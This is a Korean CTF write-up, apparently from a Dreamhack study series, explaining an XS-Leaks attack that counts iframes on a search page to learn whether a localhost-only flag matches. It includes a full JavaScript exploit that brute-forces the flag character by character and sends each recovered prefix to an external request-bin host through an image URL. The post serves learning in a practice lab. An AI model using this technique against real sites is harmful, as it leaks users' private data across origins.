[ 문제 풀이 ]
- 초기화면이며 2개의 메뉴가 있습니다.
- 순서대로 살펴보겠습니다.
- search 검색하는 페이지와 URL 을 넣어 리포트 하는 페이지입니다.
- dream 을 넣어 검색해보고 URL 을 넣어 Report 해봤는데 URL 부분은 good 이라는 팝업창만 뜨고 아무일도 일어나지 않았습니다.
- 이제 소스코드를 살펴보겠습니다.
- 2개를 동시에 살펴보면 search 페이지에서 요청자에게 'query' 값을 받아옵니다.
- query 의 값이 None 이라면 search.html 을 렌더링합니다.
- notes 안에 있는 내용을 기반으로 note, private 으로 for 문을 돌립니다.
- private == True 라면 요청 패킷의 헤더 HOST 가 로컬 서버가 아니라면 continue 를 실행시킵니다. 즉, FLAG 는 로컬호스트에서 접근할 수 있다는 것입니다.
- search 페이지를 살펴보면 결과값을 iframe 내부에 가져오는 것을 알 수 있습니다.
- 하지만 아니면 iframe 이 생성되지 않으므로 결과값에 따라 iframe 의 개수가 달라짐을 알 수 있습니다.
- search 페이지는 검색 결과 존재 여부에 따라서 iframe 의 개수가 달라지므로 이는 공격에 취약할 수 있습니다.
- 만약 외부 오리진에서 해당 페이지를 새창으로 열거나 iframe 으로 임베딩할 경우에 응답 값을 알수는 없지만 새창 안에서 iframe 의 개수가 몇개인지 확인 할 수 있습니다.
- 따라서 외부 오리진에서 새로운 iframe 에 해당 페이지를 임베딩하여 frame 의 개수를 확인하는 코드를 생성할 수 있습니다.
var iframe = document.createElement("iframe");
iframe.src = "https://gmjdymc.request.dreamhack.games/search?query=DreamHack";
document.body.appendChild(iframe);
iframe.onload = ()=>{console.log(iframe.contentWindow.frames.length);};
- 이렇게 iframe 의 개수 출력을 확인 할 수 있습니다. 이를 통해서 노트 검색 결과의 존재 여부를 확인이 가능합니다.
- /submit 페이지에 URL 삽입하는 폼이 있으므로 이용자가 해당 임의의 URL 에 접속할 수 있습니다.
- 로컬 호스트에서만 접근 가능한 FLAG 의 형식에서 DH{ 가 검색 되는지 확인합니다.
- 이는 iframe 의 개수로 알 수 있습니다. -> 이때, frame 의 개수를 드림핵 툴즈의 외부 웹 서버로 전달받습니다.
<iframe id="iframe"></iframe>
<img id="img">
<script>
async function req(url) {
return await new Promise((resolve, reject) => {
const iframe = document.getElementById("iframe");
iframe.src = url;
iframe.onload = () => {
if (iframe.contentWindow.frames.length != 0)
return resolve();
else
return reject();
};
});
}
async function search(query) {
try {
await req(
`http://localhost:8000/search?query=${query}`
);
return true;
} catch (e) {
return false;
}
}
async function exploit() {
let chars = "0123456789abcdef}"
let secret = "DH{";
while (!secret.includes("}")) {
for (let c of chars) {
if (await search(secret + c)) {
secret += c;
img.src = `https://gmjdymc.request.dreamhack.games/${secret}`;
break;
}
}
}
}
exploit();
</script>
- 코드 작성 시, 유의할 점은 함수를 비동기로 작성해야한다는 점입니다. -> 이전 요청이 취소되지 않도록!
- 처음 let secret = "DH{" 로 시작했으나 셀레늄 타임아웃이 3초로 설정되어 있어 한번에 모든 플래그를 유출하지 못합니다.
- 따라서, 마지막으로 획득한 플래그 위치부터 다시 반복해서 실행해야합니다.
- 플래그 획득에 성공했습니다!
'TeamH4C' 카테고리의 다른 글
[빡공팟 5기] W8 : (2) blind sql injection advanced Write-up (0) | 2022.11.13 |
---|---|
[빡공팟 5기] W8 : (1) error based sql injection Write-up (0) | 2022.11.13 |
[빡공팟 5기] W7 : Relative Path Overwrite Write-up (0) | 2022.11.06 |
[빡공팟 5기] W7 : CSP Bypass Write-up (0) | 2022.11.06 |
[빡공팟 5기] W7 : XSS Filtering Bypass Write-up (0) | 2022.11.06 |